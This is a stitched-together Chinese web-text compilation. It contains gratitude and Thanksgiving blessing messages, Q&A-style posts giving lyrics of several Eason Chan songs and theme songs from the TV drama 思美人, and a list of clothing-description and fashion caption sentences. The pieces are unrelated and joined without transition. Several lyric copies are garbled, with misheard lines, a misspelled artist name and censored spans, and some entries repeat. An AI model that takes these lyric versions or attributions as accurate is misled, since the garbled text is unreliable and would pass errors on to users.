44.我把快乐幸福打包，我把健康平安托风去捎，在感恩节即将到来之际，把所有的祝福提前送给你。感谢你带给我人生的美丽，预祝感恩节快乐，愿你健康如意。 45.放飞一只白鸽给你，捎上我的思念，捎上我的祝福，飘向你的心海，飘向你的生活，愿你快快乐乐地面对每个晨钟暮鼓，高高兴兴地面对花开花落。 46.幸福的生活中少不了你的陪伴，高兴的快乐都是关于你的出现。感谢有你，生活不在孤单；感谢有你，距离不在遥远，感谢有你！ 47.感谢你的关怀，感谢你的帮助，感谢你对我做的一切?请接受我最真心的祝愿：一生平安.如意.健康.快乐！ 48.我们要感恩社会，感谢大自然对生命之源的赐予，感悟社会的馈赠，学会热爱自然，回报社会。我们要感恩团队，感恩集体的每一个人给予自己的关心，帮助和支持，感念团队共建的每一份荣誉和成功。 49.让我怎样感谢你，当我走向你的时候，我原想收获一缕春风，你却给了我整个春天。 50.感恩有你，那年我决定做一个混世大魔王，是你把我宠成了小公主。 51.忙忙碌碌的8月结束了，8月份的收益还是不错的，我是两个孩子的宝妈，感谢买过让我带孩子的同时还有份不错的收入，9月我会继续加油！买过，感恩有你。 52.你知道我们的思念与你同行就好，今晚去散步，走了好远好远，一路上都是你的声音陪着我，感恩有你。 53.因为有你，让我这并不尽如人意的生活也多了许多温暖，看着你今天那么费心，我真的觉得特别感动，真的很感恩有你。 54.感谢相遇，让时光多了一份感动；感谢相知，让生活多了一份温暖；感谢经历，让流年多了一份生动；感谢叶子，带给我的那份幸运！五年相伴，感恩有你！ 55.你为世界细心创造的美好会被收到，被记住，感恩有你。 56.今天是个特殊的日子，跟他说声抱歉了，愿他还能回到我们身边，今天也是你给我第一次承诺的日子！说好今后半年养身，半年后生我们的宝宝！我伤心同时很开心！感恩有你！ 57.第一次有人因为我病了担心的睡不着觉，谢谢你出现在我最孤独无助的时候，感恩有你！ 58.不出所料，收到了昨晚张先生一心想着要给我的一只手环，好吧。感恩有你，晚安。 59.有一件事情在已经定型很难改变的状况，本也就没有抱着很大的希望能实现了，但是，由于还没到最终时刻，通过努力的想法设法以及多个人脉关系的请求帮助时，到了最后一天结果实现了，心情非常特别激动，感恩有你朋友在幕后默默的支持着。 60.月，再见。不管多糟糕，都是经历。九月，你好。不要着急，该来的都在路上。感恩有你，生活中又多了个小生命。 61.。温暖如初，岁月如歌，感谢相遇，感恩有你。我们，一起，并肩前行，未来可期 62.原本以为不是Jayme，没想到现场喊到声嘶力竭。感谢青春，感恩有你，感激拥有，继续珍惜！ 63.每天都把今天过成昨天。深夜总是特别的寂静除了打鸣声清晰的连自己的心跳都听的一清二楚。我却意外的享受这片刻这个吵杂的世界带来的片刻宁静。很累，但想着我还有你，心立刻就暖了起来，所有的疲累都瞬间抛之脑外。感恩有你。 64.不论怎样的艰难困厄，都不要失去希望，即使行走在阴晦的低谷，也让自己心怀美好。很多人问我参哥你咋那么牛，其实我从来没有觉得我自己有什么能力。我们每个人都是需要别人的成全，我不过是遇到的牛人比较多而已，他们用自己的努力成全了我。大忙九月，感恩有你。 65.今天见到你，那一颗慌乱了几天的心，终于安静下来，第一次觉得，原来你的存在，就是让人安心。感恩有你。 66.人这一辈子一定会经历让你终生难忘的事情，他会在你的人生中上了很重要的一课，深深地教训着你，也总会有人突然闯进你的生活，成为你不可缺少的人和美好的回忆。感恩有你在我最难过，最痛苦的时候让我重新找回自己。 67.我觉得任何词语，成语，都形容不了我们的感情，十四年了，你一直都是那个最懂我内心想法的人。现在的我们都在为了生活各自努力，各自加油，感谢陪伴，感恩有你。 68.全十美，感恩有你相伴，一路天天向上；十年如一，我们不慌不忙，前路来日方长！ 69.我们家最美的盈盈老师，谢谢你这么多天陪伴，耐心用心教大家纹绣技术，感恩有你！我们爱你哟，永远爱你。 ...

  分析如下： 1、越是得不到的 你就越想得到，得不到的是最珍贵的。 2、得到得很容易的，你就会不放在心上，有有恃无恐， 就好像爱情里面，那个人你得不到的话 你就会老想着他， 要是有个人一直喜欢你，不离不弃，所以你就不会顾他的感受。 这句歌词源于《红玫瑰》，是香港流行男歌手陈奕迅的一首国语歌曲，由李焯雄填词，梁翘柏编曲，收录于陈奕迅2007年发行的专辑《认了吧》。《红玫瑰》的粤语版是《白玫瑰》。 这首歌是台湾填词人李焯雄根据张爱玲的小说《红玫瑰与白玫瑰》所填。 “也许每一个男子全都有过这样的两个女人，至少两个。娶了红玫瑰，久而久之，红的变了墙上的一抹蚊子血，白的还是床前明月光；娶了白玫瑰，白的便是衣服上沾的一粒饭黏子，红的却是心口上一颗朱砂痣，”出自张爱玲的小说《红玫瑰与白玫瑰》。 扩展资料 歌曲歌词： 梦里梦到，醒不来的梦，红线里被软禁的红 所有刺激，剩下疲乏的痛，再无动于衷 从背后，抱你的时候，期待的却是她的面容 说来实在嘲讽，我不太懂，偏渴望你懂 是否幸福轻得太沉重，过度使用不痒不痛 烂熟透红，空洞了的瞳孔，终于掏空，终于有始无终 得不到的永远在骚动，被偏爱的都有恃无恐 玫瑰的红，容易受伤的梦 握在手中，却流失于指缝，又落空 红是朱砂痣烙印心口，红是蚊子血般平庸 时间美化那仅有的悸动，也磨平激动 从背后，抱你的时候，期待的却是她的面容 说来实在嘲讽，我不太懂，偏渴望你懂 是否幸福轻得太沉重，过度使用不痒不痛 烂熟透红，空洞了的瞳孔，终于掏空，终于有始无终 得不到的永远在骚动，被偏爱的都有恃无恐 玫瑰的红，容易受伤的梦 握在手中，却流失于指缝，又落空 是否说爱都太过沉重，过度使用不痒不痛 烧得火红，蛇行缠绕心中，终于冷冻，终于有始无终 得不到的永远在骚动，被偏爱的都有恃无恐 玫瑰的红，容易受伤的梦 握在手中，却流失于指缝 得不到的永远在骚动，被偏爱的都有恃无恐 玫瑰的红，伤口绽放的梦 握在手中，却流失于指缝，再落空 百度百科：红玫瑰 陈亦迅《背包》歌词是什么？ 红玫瑰 陈奕迅 梦里梦到醒不来的梦 浮现你被软禁的红 所有刺激剩下疲乏的痛 在无动于衷 从背后抱你的时候 期待的却是她的面容 说来是太嘲讽 我不太懂片刻望你懂 是否幸福牵你太沉重 我的虚荣不痒不痛 玫瑰的红空洞了的瞳孔 终于掏空终于有始无终 得不到的永远在骚动 被偏爱的都有恃无恐 玫瑰的红容易受伤的梦 握在手中流失于指缝 又落空 空气中下只了音信口 不是纸屑跟平庸 世间美幻垃圾有的激动 也磨平激动 从背后抱你的时候 期待的却是她的面容 说来是太嘲讽 我不太懂片刻望你懂 是否幸福听得太沉重 我的虚荣不痒不痛 来世透红空洞了的瞳孔 终于掏空终于有始无终 得不到的永远在骚动 被偏爱的都有恃无恐 玫瑰的红容易受伤的梦 握在手中流失于指缝 又落空 是否说爱都太过沉重 我的虚荣不痒不痛 烧得火红却心缠绕心中 终于冷冻终于有始无终 得不到的永远在骚动 被偏爱的都有恃无恐 玫瑰的红容易受伤的梦 握在手中却流失于指缝 得不到的永远在骚动 被偏爱的都有恃无恐 玫瑰的红烧空绽放的梦 握在手中却流失于指缝 在落~空 陈亦迅《背包》歌词是什么？ 是《你的背包》 歌曲：你的背包 歌手：陈奕迅 一九九五年我们在机场的车站 你借我而我不想归还 那个背包载满记念品和患难 还有摩擦留下的图案 你的背包背到现在还没烂 却成为我身体另一半 千金不换它已熟悉我的汗 它是我肩膀上的指环 背了六年半 我每一天陪它上班 你借我我就为你保管 我的朋友都说它旧的很好看 遗憾是它已与你无关 你的背包让我走的好缓慢 总有一天陪着我腐烂 你的背包对我沉重的审判 借了东西为什么不还 陈亦迅你的背包全部歌词 陈奕迅 《你的背包》一九九五年 我们在机场的车站 你借我而我不想归还 那个背包 都载满记念品和患难 还有摩擦留下的图案 你的背包 背到现在还没烂 却成为我身体另一半 千金不换 它已熟悉我的汗 它是我肩膀上的指环 背了六年半 我每一天陪它上班 你借我我就为你保管 我的朋友 不都说它旧的很好看 遗憾是它已与你无关 你的背包 让我走的好缓慢 总有一天陪着我腐烂 你的背包 对我沉重的审判 借了东西为什么不还 背了六年半 我每一天陪它上班 你借我我就为你保管 我的朋友 不都说它旧的很好看 遗憾是它已与你无关 你的背包 让我走的好缓慢 总有一天陪着我腐烂 你的背包 对我沉重的审判 借了东西为什么不还 你的背包 让我走的好缓慢 总有一天陪着我腐烂 你的背包 对我沉重的审判 借了东西为什么不还 借了东西为什么 不还 陈亦迅《红玫瑰》的歌词是什么？ 新年快乐!认了吧 梦里梦到醒不来的梦 浮现你被软禁的红 所有 *** 剩下疲乏的痛在无动于衷 从背后抱你的时候期待的却是她的面容 说来是太嘲讽我不太懂片刻望你懂 是否幸福牵你太沉重 我的虚荣不痒不痛 陈亦迅《十年》的歌词？ 十年之前 我不认识你你不属于我 我们还是一样陪在一个陌生人左右 走过渐渐熟悉的街头 十年之后 我们是朋友还可以问候 只是那种温柔 再也找不到拥抱的理由 情人最后难免沦为朋友 陈亦迅红玫瑰歌词 红玫瑰 演唱：陈奕迅 梦里梦到醒不来的梦 红线里被软禁的红 所有 *** 剩下疲乏的痛 再无动于衷 从背后抱你的时候 期待的却是她的面容 说来实在嘲讽 我不太懂 偏渴望你懂 是否幸福轻得太沉重 过度使用不痒不痛 烂熟透红空洞了的瞳孔 终于掏空 终于有始无终 得不到的永远在骚动 被偏爱的 都有恃无恐 玫瑰的红 容易受伤的梦 握在手中却流失于指缝 又落空 红是朱砂痣烙印心口 红是蚊子血般平庸 时间美化那仅有的悸动　也磨平激动 从背后抱你的时候 期待的却是她的面容 说来实在嘲讽 我不太懂 片刻望你懂 是否幸福轻得太沉重 过度使用 不痒不痛 烂熟透红空洞了的瞳孔 终于掏空 终于有始无终 得不到的永远在骚动 被偏爱的都有恃无恐 玫瑰的红 容易受伤的梦 握在手中却流失于指缝 又落空 是否说爱都太过沉重 过度使用不痒不痛 烧得火红 蛇行缠绕心中 终于冷冻终于有始无终 得不到的永远在骚动 被偏爱的都有恃无恐 玫瑰的红 容易受伤的梦 握在手中却流失于指缝 得不到的永远在骚动 被偏爱的 都有恃无恐 玫瑰的红 伤口绽放的梦 握在手中却流失于指缝 再落空 我很喜欢这首歌！   求陈亦迅 认了吧 歌词 歌手：陈奕迅 专辑：认了吧 梦里梦到醒不来的梦 浮现你被软禁的红 所有 *** 剩下疲乏的痛 在无动于衷 从背后抱你的时候 期待的却是她的面容 说来是太嘲讽 我不太懂片刻望你懂 是否幸福牵你太沉重 我的虚荣不痒不痛 玫瑰的红空洞了的瞳孔 终于掏空终于有始无终 得不到的永远在骚动 被偏爱的都有恃无恐 玫瑰的红容易受伤的梦 握在手中流失于指缝 又落空 空气中下只了音信口 不是纸屑跟平庸 世间美幻垃圾有的激动 也磨平激动 从背后抱你的时候 期待的却是她的面容 说来是太嘲讽 我不太懂片刻望你懂 是否幸福听得太沉重 我的虚荣不痒不痛 来世透红空洞了的瞳孔 终于掏空终于有始无终 得不到的永远在骚动 被偏爱的都有恃无恐 玫瑰的红容易受伤的梦 握在手中流失于指缝 又落空 是否说爱都太过沉重 我的虚荣不痒不痛 烧得火红却心缠绕心中 终于冷冻终于有始无终 得不到的永远在骚动 被偏爱的都有恃无恐 玫瑰的红容易受伤的梦 握在手中却流失于指缝 得不到的永远在骚动 被偏爱的都有恃无恐 玫瑰的红烧空绽放的梦 握在手中却流失于指缝 在落~空 陈亦迅“十年”歌词的意思是什么 说的是时间的飞逝，不同的人与自己的关系有着不同的变化。曾经的恋人已变陌生人，而随风而过的一位曾经以为是过客的人，却有可能会成为自己身边不同位置，却同样重要的人 十年之后。我还是我。你还是你。世界还是世界。 时间会冲淡一切。当初的一切只是过眼云烟。 曾经以为你是唯一。许多年过后。才发现。你也只是插曲而已。 陈亦迅 不如不见 歌词 （接冰儿） 我想见的笑脸 只有怀念 不懂 怎去再聊天 像我在往日还未抽烟 不知你怎么变迁 似等了一百年 忽已明白 即使再见面 成熟地表演 不如不见 陈亦迅[好久不见]歌词 好久不见--陈奕迅 作词：邓妙华、黎珈仪 作曲：黎珈仪 编曲：潘沁珈 我来到你的城市 走过你来时的路 想像著没我的日子 你是怎样的孤独 拿着你 给的照片 熟悉的那一条街 只是为了你的画面 我们回不到那天 你会不会忽然的出现在街角的咖啡店 我会带著笑脸回首寒喧和你坐着聊聊天 我多么想和你见一面 看看你最近改变不再需说从前 只是寒暄对你说一句 只是说一句 好久不见 ...

人生难免会有 忍不住的泪 泪干后 不可以感觉到累 难为冲出重围 痛了一回再走一回 红尘已经无路可退 男人总不该对生命后悔 冷风吹 吹不熄野火一堆 心碎志不可碎 卸下空心 往风里追 苦酒喝下千杯 不需要人陪 凡人的智慧 只会充满怨怼 不凡的人再累也不说累 拨开心中一切防卫 离开了沉睡 品尝心中一切苦味 再向渴望里飞 男人就是不该对生命后悔 冷风吹 吹不熄野火一堆 心碎志不可碎 卸下空心 往风里追 苦酒喝下千杯 不需要人陪 凡人的智慧 只会充满怨对 不凡的人再累也不说累 拨开心中一切防卫 离开了沉睡 品尝心中一切苦味 再向渴望里飞 渴望里飞 渴望里相随 思美人 插曲 问天 今夕复何夕是什么歌   　电视剧思美人受到很多观众的喜爱，剧中的插曲也受到人们的赞赏，纷纷好奇里面的所有插曲和歌曲是谁唱的。接下来就一起看看思美人当中的动听的插曲是谁唱吧！ 电视剧思美人插曲《离骚》 　据爆料易烊千玺要献唱电视剧《思美人》插曲《离骚》，已登记ISRC。 　这么说来千玺第二首个人单曲不久就会和大家见面了，《思美人》不仅可以看到我们的小灵均精湛的演技，更可以听到我们千玺带来的千式苏音，真的是暖化人心。 电视剧《思美人》主题曲《思美人》 　作词：梁振华、海雷 　作曲：简弘亦 　演唱：张靓颖 　长路迢迢 　思君在远方 　白驹驰骋 　星辰浩荡 　心郁伤 　浮云悠悠 　归鸟辞远乡 　上下求索 　舒我衷肠 　不回望 　思美人兮心若香 　思美人兮月苍凉 　我犹香草何来美人赏 　古人不及徒留一抹香 　思美人兮心自香 　思美人兮梦芬芳 　世人皆醉平生随沧浪 　鸿飞御我九天任高翔 　浮云悠悠 　归鸟辞远乡 　上下求索 　舒我衷肠 　不回望 　思美人兮心若香 　思美人兮月苍凉 　我犹香草何来美人赏 　古人不及徒留一抹香 　思美人兮心自香 　思美人兮梦芬芳 　世人皆醉平生随沧浪 　鸿飞御我九天任高翔 　思美人兮心若香 　思美人兮月苍凉 　我犹香草何来美人赏 　古人不及徒留一抹香 　思美人兮心自香 　思美人兮梦芬芳 　世人皆醉平生随沧浪 　鸿飞御我九天任高翔 　鸿飞御我九天任高翔   电视剧《思美人》主题曲《思美人兮》 　作词：梁振华、金玟岐 　作曲：金玟岐 　演唱：马可 　思美人兮路长漫漫不可及 　拭泪天涯无归期 　千言万语只如梗在心底 　愁丝万缕一朝夕 　思美人兮悠悠浮云为我寄 　奈何鸿飞不解意 　归鸟乘风远飞 　我折翼在原地 　只见思念划天际 　男儿志千古愁 　溢于胸怀中 　抛入一汪江水向东流 　笑非笑忧且忧 　浊世谁人能懂 　拂袖独行不回首 　幽兰花异芬芳 　含风影自香 　问君可有识得她芳踪 　趁年华未散尽 　摘得芙蓉与共 　莫让憾事绕心中 　思美人兮悠悠浮云为我寄 　奈何鸿飞不解意 　归鸟乘风远飞 　我折翼在原地 　只见思念划天际 　男儿志千古愁 　溢于胸怀中 　抛入一汪江水向东流 　笑非笑忧且忧 　浊世谁人能懂 　拂袖独行不回首 　幽兰花异芬芳 　含风影自香 　问君可有识得她芳踪 　趁年华未散尽 　摘得芙蓉与共 　莫让憾事绕心中 　男儿志千古愁 　溢于胸怀中 　抛入一汪江水向东流 　笑非笑忧且忧 　浊世谁人能懂 　拂袖独行不回首 　幽兰花异芬芳 　含风影自香 　问君可有识得她芳踪 　趁年华未散尽 　摘得芙蓉与共 　莫让憾事绕心中 　思美人兮 　漂泊南行无所依 　我欲随风同归去 >>>下一页更多精彩?电视剧思美人剧情介绍?   歌名：《思美人兮》 歌手：金玟岐 歌词： 思美人兮路长漫漫不可及 拭泪天涯无归期 千言万语只如梗在心底 愁丝万缕一朝夕 思美人兮悠悠浮云为我寄 奈何鸿飞不解意 归鸟乘风远飞 我折翼在原地 只见思念划天际 男儿志千古愁 溢于胸怀中 抛入一汪江水向东流 笑非笑忧且忧 浊世谁人能懂 拂袖独行不回首 幽兰花异芬芳 含风影自香 问君可有识得她芳踪 趁年华未散尽 摘得芙蓉与共 莫让憾事绕心中 思美人兮悠悠浮云为我寄 奈何鸿飞不解意 归鸟乘风远飞 我折翼在原地 只见思念划天际 男儿志千古愁 溢于胸怀中 抛入一汪江水向东流 笑非笑忧且忧 浊世谁人能懂 拂袖独行不回首 幽兰花异芬芳 含风影自香 问君可有识得她芳踪 趁年华未散尽 摘得芙蓉与共 莫让憾事绕心中 男儿志千古愁 溢于胸怀中 抛入一汪江水向东流 笑非笑忧且忧 浊世谁人能懂 拂袖独行不回首 幽兰花异芬芳 含风影自香 问君可有识得她芳踪 趁年华未散尽 摘得芙蓉与共 莫让憾事绕心中 思美人兮 漂泊南行无所依 我欲随风同归去 ...

关于衣服的文案（精选67句） 1.那个瘦老头，穿山袜蹬草鞋，腰扎柴刀架，手里提着杆火铣，浑身透露出一股精干.矫键。 2.裙中宛如百花世界，姹紫嫣红和繁花似锦成了生机盎然的春天。瞧！一朵姿色优美的牡丹映入眼帘，一摆一摆的，像是在炫耀着它那匀称的身材。叶先生和他的舞伴玫瑰**走入会场，它们宛如?热恋情人?，手拉手。 3.雪白的衬衫打着小折桐，一颗闪亮的扣子将领口收任了。 4.要知道他的睡衣究竟是什么底子，只好白费力，袖子和领头部非常龌龊，发着光，好像做长靴的郁赫皮。 5.大概有五年没穿裙子了，最后一次穿的裙子是一条百褶连衣纱裙，粉红色的。当我衣柜里找不到裙子，首饰盒里找不到蝴蝶结的时候，中性风已经像一场浩劫扫荡了大街小巷。可是，裙角依然是女孩最美的语言，在最幸福的时候。 6.她穿着淡咖啡色的裙装，敞领中衬着乳白色印度绸纱巾，别着一枚硕大的红宝石胸针。披着深紫色镶黑格呢绒斗篷，身材修长，仪表端庄。 7.黑纱旗袍，紧裹在臂上的袖子长过肘，裾长到踝。怪幽静地衬出欣长窈窕的身材。 8.纤秀的脚上套一双黑色的打蝴蝶结的便鞋，天蓝色的袜子织有红色的楔形花纹。 9.今天，我穿了一件花花绿绿裙子，金光闪闪的绸缎腕成蝴蝶结，腰间的粉红腰带犹如一条红色的溪水，潺潺的向两边流淌，直到?相逢?，组成一条粉桃桃的腰带，真是般配了！ 10.他穿一双厚底的黑牛皮鞋，鞋面像漆过的那样亮，鞋底沾过水。走起来吱吱地响。 11.漂亮的金丝眼镜，丝背心，白领带，黑裤子，上等皮靴，巴黎做的大氅，金表，金项链。真正是气概不凡。 12.他任袖口拖下来，遮住手掌。晃荡晃荡像古装戏里的水袖似地来回甩动。 13.他头上是一顶破毡帽身上只一件极薄的棉衣，浑身瑟缩着，手里提着一个纸包和一支长烟管。 14.在舞会上，唯独芙蓉最显得光彩夺目，所有的贵宾都陶醉在这优雅的曲中，渐渐的也迈出轻盈的步伐，和自己的舞伴跳起来，每个花儿脸上都洋溢出灿烂.会心的笑容。 15.他身上的衣服又脏又臭，破破烂烂，差一点儿没有成为碎片。 16.他穿着一双长长的.软软的.肥肥的拖鞋，从床上起身，他看也不看，双脚向地板上一落，就笔直地穿进去。 17.她在那件美丽的.褶襞向下飘动的无袖长艳外面，又罩上一件雪白的垂着紫色流苏的坎肩。 18.在那件用极薄的白绸制成的短袍上，密密地织满了银色的小星星，折着优雅的褶痕。 19.他穿戴潦草得不像个样子，外衣有的钮扣都脱落了，一只靴子有一个窟窿，身上散发着很大的烟草气味。 20.他们中有些在光着脚走路，他们的全套衣服就是把他们从脖子一直裹到膝盖的一块大羊皮，和一条十分粗糙的白布裤子。 21.红的筒裙像朵朵怒放的山茶，随风飞转，也像一片片燃烧的篝火。照彻夜空。 22.身上穿着漂亮的华丽衣服。一层一层的蕾丝花边，可爱的泡泡袖，把她衬托得高贵可爱，让人陶醉。裙子上还镶着些珍珠，还有着粉红的水晶。这华丽的白裙衬着美丽的脸蛋，她就这样出现在我们的面前，美得不真实。 23.扔掉不合身的旧衣服，扔掉过期的演唱会门票，扔掉没写完的信，扔掉一大段一大段的回忆。就像旧伤疤，痕迹还在，可是却不会再痛了不是吗？不是不记得了，而是不爱了，那就忘记吧。 24.着一件浅水蓝的裙，长发垂肩，用一根水蓝的绸束好，玉簪轻挽，簪尖垂细如水珠的小链，微一晃动就如雨意缥缈，上好的丝绸料子随行动微动，宛如淡梅初绽，未见奢华却见恬静。眉清目秀，清丽胜仙，有一份天然去雕饰的自然清新，尤其是眉间唇畔的气韵，雅致温婉，观之亲切，表情温暖中却透着几分淡淡的漠然。 25.新好男人：当老婆对你说去洗衣服，你回答说：好的，我去洗衣服。但是贱好男人：当老婆对你说去洗衣服，你要回答说：老婆，除了衣服还有别的要洗的。 26.你已经是一个成人了，你要对你说过的话负责，你要好好的想一想男人如衣服，要不然我要没收你的手机和电脑。 27.真实和谎言一起去洗澡，正在洗澡的时候，谎言偷偷跑到岸上，穿上了真实的衣服，当真实发现的时候谎言早已穿着他的衣服跑的无影无踪，真实宁可光着身子，也不愿意穿谎言的衣服，从此，人们就只能看着，穿着真实衣服的谎言，却接受不了那赤裸裸的真实。 28.小姑娘手真巧，刺绣的花鸟虫鱼非常生动逼真，像活的一样。她绣的花，把蜜蜂都吸引来了；她织的蝴蝶，翩翩欲飞；她编的鸟儿，可以听到婉转的鸣声。 29.这是早已经做出的决定，不再让你谈异地恋爱了；永远不会让你洗衣服；不会让你自己坐车去远方；不会离开你，不管发生怎样的意外。 30.大门开了，走进来一位年轻的邮递员。只见他全身衣服湿透了，裤腿卷得高高的，从膝盖到脚全沾满了泥水，好像刚从泥地里爬起来似的。他手里捧着一包用油布包着落邮件，顾不上抹脸上的雨水，对屋里人说：?《儿童时代》来啦！ 31.我先把娃娃上衣的尺寸量了一下，拿一块蓝花布按尺寸做一个圆圆的领子，挑一块白底红点的布做两个短袖，选一块**的做身。剪好后把它们拼在一起，再一针一线一地缝好。 32.你说气人不气人，那小小的针儿，在妈妈手里很灵活，可在我的手里却很不听使唤。刚缝了几针，手心就出了汗，还扎破了手。费了九牛二虎之力，终于补完了。 33.淡绿色的繁花宫装，外面披着一层金色薄纱，宽大的衣摆上锈着紫色的花纹，三千青丝撩了些许简单的挽了一下，其余垂在颈边，额前垂着一枚小小的红色宝石，点缀的恰到好处。头上插着镂空飞凤金步摇，随着莲步轻移，发出一阵叮咚的响声。衬得别有一番风情美丽可人之姿。 34.风髻露鬓，淡扫娥眉眼含春，皮肤细润如温玉柔光若腻，樱桃小嘴不点而赤，娇艳若滴，腮边两缕发丝随风轻柔拂面凭添几分诱人的风情。一身绛紫色长裙，绣着富贵的牡丹，水绿色的丝绸在腰间盈盈一系，完美的身段立显无疑，携侍女两人缓缓在御花园散步，看到迎面走来的母后，莞尔一笑，念瑶给母后请安，母后吉祥。 35.你总是说男人都一个样，只想脱你的衣服！没错，有些人脱你衣服是为了和你上床，有些人脱你衣服是为了给你穿上婚纱?不懂我就别说我懦弱?开始是承诺，不是尝试的开始。 36.在我心冷的时候，我哗哗的往身上穿衣服，秋衣，秋裤，毛衣，毛裤，棉袄，棉裤，这时你端个小火盆来到我身边，暖和了，我就脱下了所有厚衣服，正舒服的时候，你端着小火盆走了，我的心那时拔凉拔凉啊。 37.略施粉黛，身着简单的淡蓝色宫服，宫服上绣着几朵莲花，穿着简单，但却不失华贵的气质。肤白如新剥鲜菱，双眉修长，眉目间隐然有一股书卷的清气。一张脸秀丽绝俗。 38.我觉着吧，?这种风格的衣服不适合你?这种话以后还是少说吧。你是她的谁啊？凭什么决定她能穿什么衣服，不能穿什么衣服。要是丑了，又不丢你的脸。何必讨人嫌呢？ 39.耳垂上戴着一对祁连山白玉团蝠倒挂珠缀，一荡一荡，在风中微微飘动，衬得脖颈愈发的修长而优雅，纯净的无一丝杂质的琥珀项链在阳光下泛着微微的光泽，皓腕上的一对独山透水的碧绿翡翠镯子，使一身的装容更加完美。 40.你每次拿衣服来洗的时候都三更半夜了耶，下午三点半跟我讨午饭吃。你如果真的要我帮你做家务的话，你就照我的作息来，正常人的作息，好吗？ 41.碧绿的翠烟衫，散花水雾绿草百褶裙，身披翠水薄烟纱，肩若削成腰若约素，肌若凝脂气若幽兰。娇媚无骨入艳三分。 42.那时候苏**把自己的爱情看得太名贵了，不肯随便施与。现在呢，宛如做了好衣服，舍不得穿，锁在箱里，过一两年忽然发见这衣服的样子和花色都不时髦了，有些自怅自悔。 43.我把布准备好，把针线拿在手上，把线放在嘴里抿了抿，再对准针眼，屏住呼吸，一下就穿过去了。我先把两块白布缝好四周，留出一个小洞，然后把不用的布头与棉花塞进去，把小洞缝好，最后用彩笔在白布面上画上弯弯的眉毛，圆圆的眼睛，一张樱桃小嘴和黑色的头发，布娃娃的头就做好了。 44.她那镶苔藓和常春藤花边的白舞服轻轻地沙沙响着。 45.你身着一件紫红色旗袍，远远看去，真像一只小蝴蝶飞过一样，既美丽称身，又色彩柔和。 46.弟弟上身穿白衬衫，下着蓝短裤，脖子上系一条鲜艳的红领巾。 47.件用极薄的白色毛织品制的，下端绣上金绦的无袖长袍，显出她那令人消魂的曲线。 48.嗬这件衣服一穿上这位先生显得更英气逼人了。 49.藉由这次活动，让我了解到，师父穿漂亮衣服的原因之一是为了营造一种轻松愉快的气氛，并满足大众的视觉享受。 50.我也要去送姐姐，现在姐姐要嫁给绅士堂哥啦，要穿漂亮衣服啦！ 51.琳达：在星期四我们做时尚报道。我需要一些漂亮衣服。可能还包括帽子。 52.很多人会后还追问同修：穿这么漂亮衣服的人，怎么能说出这么好的道理？ 53.她知道自己做得太过份了，但是她那喜欢漂亮衣服的女人天性占了上风。 54.她会在一旁看父亲怎么给村子里的女孩们做漂亮衣服，然后拣些没用的碎布头给她的洋娃娃做衣服。 55.你干活还穿着漂亮衣服，真是愚蠢。 56.她穿着淡咖啡色的裙装，敞领中衬着乳白色印度绸纱巾，别着一枚硕大的红宝石胸针。披着深紫色镶黑格呢绒斗篷，身材修长，仪表端庄。 57.淡绿色的繁花宫装，外面披着一层金色薄纱，宽大的衣摆上锈着紫色的花纹，三千青丝撩了些许简单的挽了一下，其余垂在颈边，额前垂着一枚小小的红色宝石，点缀的恰到好处。 58.这一款最适合您了穿上不但显得气质高雅还显得特别英俊。 59.师父曾表示，她穿漂亮衣服的原因之一是为了让大家有美好的视觉享受。由于我对衣著一向不太注重，所以也就无法完全领会师父这句话的涵义。 60.黑纱旗袍，紧裹在臂上的袖子长过肘，裾长到踝。怪幽静地衬出欣长窈窕的身材。 61.桔红色的西服自然敞开，展现出红白相间的绒衣，湖蓝色的紧身长裤，衬托出修长的腿，既蒲洒又富有美感。你的装扮是成功的！ 62.尽管看不到她刘海下的容貌，却也可以清楚的看见她两边脸颊连同后面修长白皙的脖颈整个都红了，嫣红透白的煞是好看。这时才注意到女孩的打扮，上身穿着一件可爱的卡通T恤，下身是雪白的七分裤。 63.那少女一袭纯白色的露肩长裙。美丽的锁骨若隐若现。裙子的衣料白得仿佛透明。微微泛光。就象天使的翅膀。却一点也不暴露。裙子的下摆是由高到低的弧线。优雅地微蓬起来。 64.他再也没有第二套漂亮衣服能够见客尽管见卖肉的和烤面包的还可以，有时还可以去见他姐姐。但要叫他穿得那么寒酸踏进莫尔斯的住宅，他却是连梦也不敢做的。 65.碧绿的翠烟衫，散花水雾绿草百褶裙，身披翠水薄烟纱，肩若削成腰若约素，肌若凝脂气若幽兰。娇媚无骨入艳三分。 66.身穿一袭素锦宫衣，外披水蓝色轻纱，微风吹过，轻纱飞舞，整个人散发出淡淡灵气。三千青丝被挽成一个简单的碧落髻，将一支清雅的梅花簪子戴上，只身一人向御花园走去，看着前面缓缓而来的宸妃。 67.你是花丛中的蝴蝶，是百合花中的蓓蕾。无论什么衣服穿到你的身上，总是那么端庄.好看。 牛仔裤象征着流行的民主。整理了一些关于穿搭的文案说说，希望大家喜欢！   1、热情是美丽的秘密。没有热情的美丽是没有吸引力的。 2、万物皆可配，跟谁都能搭！ 3、我尽量不在无助或悲伤的时候想你，以免显得我的怀念不够诚意。 4、不用香水的女人没有将来。 5、夏天的及踝长裙可以成为羽绒服的新伙伴，配上假透肉打底裤与高跟踝靴，便能够保暖又性感。 6、时装是建筑学，它跟比例有关。 7、让蓝与红在同一种格调下融合，幻化出你的模样。 8、短款羽绒服与长裙的比例关系让身材比例得以重组，修长双腿瞬间呈现。 9、每一个人都嘲笑陈旧的时尚，却虔诚地追求新的时尚。 10、穿不穿高跟鞋没关系，露不露脚踝很重要。 11、高腰包臀裙有了保暖打底裤的配合便能够在冬季绽放优雅曲线，与短款羽绒服搭配是重塑身材比例的心机法则，让双腿线条看上去修长。 12、为了创作出独特的东西，你的所有大脑神经必须集中在微小的细节上。 13、旧元素也能碰撞出新花样。 14、对色彩把控不好就让全身颜色控制在三种以内，避免繁复杂乱。 15、时髦把低劣抬到了讨人喜欢的水平，继而把坏的和好的变得十分相像。 16、如果特立独行是场秀，逃离舞台会更酷！喜欢你的喜欢，自由会更自在。 17、俏皮甜美的娃娃领给纯黑短外套增添了活力与柔美。 18、我的梦想是把女性从天然的本来状态中拯救出来。 19、牛仔裤是不是卷边比较时髦？衬衣扣要不要解到第三颗？ 20、穿上高跟鞋，你就变了。 21、夹克式的短款羽绒服适合演绎今季流行的运动休闲风，与衬衫、针织衫、小脚裤搭配既轻松又时尚。 22、时髦仅仅只会引起流行病。 23、连厚实的棉衣也有了节奏感，下搭A字裙和渔网袜，有趣的灵魂就是这么穿出来。 24、迷你半裙作为内搭，与长款羽绒服搭配，同样能够拥有姣好的身材比例。 